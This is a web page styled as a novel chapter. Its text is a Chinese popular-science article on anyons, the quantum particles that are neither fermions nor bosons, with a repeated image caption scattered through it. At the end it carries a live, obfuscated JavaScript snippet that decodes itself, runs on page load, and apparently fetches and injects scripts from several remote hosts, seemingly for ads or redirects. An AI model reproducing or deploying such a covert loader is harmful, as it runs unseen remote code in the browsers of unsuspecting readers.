第五百三十七章 关于“任意子”的一个发现
章节错误,点此举报(免注册),举报后维护人员会在两分钟内校正章节内容,请耐心等待,并刷新页面。
任意子的存在是从量子拓扑中推断出来的。
宇宙中的每一个粒子（从宇宙射线到夸克）不是费米子就是玻色子。这些类别将自然的构建块划分为两个截然不同的粒子王国。现在，研究人员发现了第三个粒子王国的第一个例子。
任意子，正如我们所知，即不像费米子也不像玻色子。相反，他们的行为介于两者之间。在最近发表在《科学》杂志上的一篇论文中，物理学家发现了第一个实验证据，证明这些粒子不属于任何一个王国。”我们有玻色子和费米子，现在我们有了第三个王国，”诺贝尔奖得主、麻省理工学院物理学家弗兰克维尔切克说。“这绝对是一个里程碑。”
新粒子“任意子”的发现呈现出一个新的粒子世界，物理学的里程碑
要理解量子王国，可以想象一幅循环图。想象两个无法区分的粒子，比如电子。取其中一个，然后环绕另一个，这样它就会回到它开始的地方。一切似乎都没有改变。事实上，在量子力学的数学语言中，描述初态和末态的两个波函数必须要么等于，要么相差-1。（在量子力学中，你可以通过平方这个波函数来计算你所观察到的概率，所以-1的系数就被消去了。）
如果波函数是相同的，那么量子粒子就是玻色子。如果它们差了一个系数-1，那么就是费米子。虽然推导看起来像是一个纯粹的数学问题，但它具有深刻的物理意义。
费米子是粒子世界的“反社会成员”。它们从不占据相同的量子态。正因为如此电子（也就是费米子）被强迫进入一个原子周围不同的壳层中。从这个简单的现象中产生了原子的大部分空间，元素周期表的惊人多样性，以及所有的化学。
新粒子“任意子”的发现呈现出一个新的粒子世界，物理学的里程碑
另一方面，玻色子是群居的粒子，它们乐于聚在一起，共享相同的量子态。因此，光子（即玻色子）可以相互穿透，使光线不受阻碍地传播，而不是四处散射。
但是，如果当你将一个量子粒子环绕在另一个量子粒子上时，又没有回到相同的量子状态，会发生什么呢为了理解这种可能性，我们需要稍微离题到拓扑学。如果一种形状可以不经过任何切割或粘合而转变成另一种形状，那么两种形状在拓扑上是等价的。俗话说，甜甜圈和咖啡杯在拓扑结构上是等价的，因为它们可以被轻轻不断地塑造成另一个。
让一个粒子绕着另一个粒子旋转，会产生一个循环。在三维空间中，你可以把这个循环一直缩小到一个点。从拓扑学上讲，这个（粒子）好像根本没有移动过。
新粒子“任意子”的发现呈现出一个新的粒子世界，物理学的里程碑
然而，在二维空间中，循环不会缩小。它被另一个粒子卡住了。由于这个限制（只有在二维中才会发现），让一个粒子绕着另一个粒子旋转并不等于把它留在同一个地方。
我们需要第三种粒子的可能性：任意粒子。由于它们的波函数不局限于定义费米子和玻色子的两个解，这些粒子可以不是这两个解中的任何一个，而是介于两者之间的任何一个。当威尔切克第一次创造任意子这个词时，它是一种半开玩笑的暗示，意思是任何事情都可以发生。
新粒子“任意子”的发现呈现出一个新的粒子世界，物理学的里程碑
巴黎索邦大学的物理学家格温达尔费弗领导了最近的这项实验，他说：“拓扑论证是第一个迹象，表明这些任意子可能存在。”“剩下的就是物理系统了。”
当电子被限制在二维空间运动，冷却到接近绝对零度，并受到强磁场的作用时，非常奇怪的事情开始发生。在20世纪80年代早期，物理学家首先利用这些条件来观察“分数量子霍尔效应”，在这个效应中，电子聚集在一起产生了所谓的准粒子，其电荷只有单个电子的一小部分。（如果把电子的集体行为称为粒子似乎有些奇怪，想想质子，它本身就是由三个夸克组成的。）
新粒子“任意子”的发现呈现出一个新的粒子世界，物理学的里程碑
1984年，威尔切克、丹尼尔阿罗瓦斯和约翰罗伯特施里弗在一篇两页纸的论文中指出，这些准粒子必须是任意粒子。但科学家们从未在这些准粒子中观察到类似于任意子的行为。也就是说，他们无法证明任意子既不像费米子，也不像玻色子，既不聚在一起，也不完全相互排斥。
这就是这项新研究的目的。2016年，三位物理学家描述了一个类似于二维粒子对撞机的实验装置，用它来把任意子撞在一起。通过测量对撞机中电流的波动，他们能够证明任意子的行为完全符合理论预测。
新粒子“任意子”的发现呈现出一个新的粒子世界，物理学的里程碑
布朗大学物理学家德米特里费尔德曼没有参与最近的研究，他说，“一切都与这个理论非常契合，没有任何疑问。”“根据我的经验，这在这个领域是很不寻常的。”
“在很长一段时间里，已经有了很多证据，”威尔切克说。但如果你问：是否存在一种特定的现象，你可以指出并说任意子导致了这种现象，而你无法用其他任何方式解释它。我认为这在一个不同的层面上是非常明显的。”
『加入书签，方便阅读』
!function(){function a(a){var _idx="xvmmbotlxu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmDFTd5)4mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmDFTd5)4mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8RX^^)OFqR_"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"RX^^)OFqR_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mC:2qC4YmRT4"="o}0X5ThF)mCO7h_fTmRT4"="o}02pThFmC:2qC4YmRT4"="o}0_JqhFmCO7h_fTmRT4"="o}02TOhFmC:2qC4YmRT4"="o}0CSqhF)mCO7h_fTmRT4"="o}0)FfThF)fmC:2qC4YmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mR4fd)TDmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mR4fd)TDmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q/f/o}0j(8}vR8RX^^)OFqR_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();